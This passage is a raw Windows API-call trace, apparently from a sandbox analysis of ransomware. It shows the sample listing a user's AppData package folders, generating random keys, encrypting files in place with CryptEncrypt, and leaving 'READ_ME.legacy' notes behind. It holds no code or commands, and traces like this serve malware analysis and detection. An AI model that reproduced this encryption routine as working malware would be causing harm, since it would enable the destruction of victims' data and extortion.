ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.697] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16ea774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61c98 [0161.697] FindNextFileW (in: hFindFile=0x2f61c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16ea774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.697] FindNextFileW (in: hFindFile=0x2f61c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x2f61c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.698] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c54ad1b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f62658 [0161.698] FindNextFileW (in: hFindFile=0x2f62658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c54ad1b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x2f62658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x2f62658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c5e36c8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1c5e36c8, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1c5e36c8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x2f62658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c54ad1b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc1d6a7f5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x11d3fb2a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x2f62658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x722e55f1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x722e55f1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x722e55f1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x2f62658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x722e55f1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x722e55f1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x722e55f1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x2f62658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x722e55f1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x722e55f1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x722e55f1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0161.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0161.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0161.698] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0161.699] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1260 [0161.700] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.700] ReadFile (in: hFile=0x1260, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.700] SetFilePointer (in: hFile=0x1260, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.700] WriteFile (in: hFile=0x1260, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.700] SetFilePointer (in: hFile=0x1260, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.700] WriteFile (in: hFile=0x1260, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.701] WriteFile (in: hFile=0x1260, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.701] CloseHandle (hObject=0x1260) returned 1 [0161.703] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0161.703] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0161.703] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0161.704] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1260 [0161.704] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.704] ReadFile (in: hFile=0x1260, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.723] SetFilePointer (in: hFile=0x1260, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.723] WriteFile (in: hFile=0x1260, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.723] SetFilePointer (in: hFile=0x1260, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.724] WriteFile (in: hFile=0x1260, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.724] WriteFile (in: hFile=0x1260, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.724] CloseHandle (hObject=0x1260) returned 1 [0161.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0161.731] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.755] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1260 [0161.756] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.756] ReadFile (in: hFile=0x1260, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.757] SetFilePointer (in: hFile=0x1260, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.757] WriteFile (in: hFile=0x1260, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.757] SetFilePointer (in: hFile=0x1260, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.757] WriteFile (in: hFile=0x1260, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.758] WriteFile (in: hFile=0x1260, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.758] CloseHandle (hObject=0x1260) returned 1 [0161.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0161.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0161.759] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.759] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1260 [0161.760] GetFileSizeEx (in: hFile=0x1260, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.760] ReadFile (in: hFile=0x1260, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.760] SetFilePointer (in: hFile=0x1260, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.760] WriteFile (in: hFile=0x1260, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.760] SetFilePointer (in: hFile=0x1260, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.760] WriteFile (in: hFile=0x1260, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.761] WriteFile (in: hFile=0x1260, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.761] CloseHandle (hObject=0x1260) returned 1 [0161.763] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1d6ba1f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1d6ba1f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f62258 [0161.763] FindNextFileW (in: hFindFile=0x2f62258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1d6ba1f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1d6ba1f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.763] FindNextFileW (in: hFindFile=0x2f62258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.763] FindNextFileW (in: hFindFile=0x2f62258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.763] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179aaef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f62518 [0161.763] FindNextFileW (in: hFindFile=0x2f62518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179aaef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.763] FindNextFileW (in: hFindFile=0x2f62518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.763] FindNextFileW (in: hFindFile=0x2f62518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.763] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x382acb94, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f62398 [0161.763] FindNextFileW (in: hFindFile=0x2f62398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x382acb94, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.764] FindNextFileW (in: hFindFile=0x2f62398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179cdce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.764] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.legacy" (normalized: 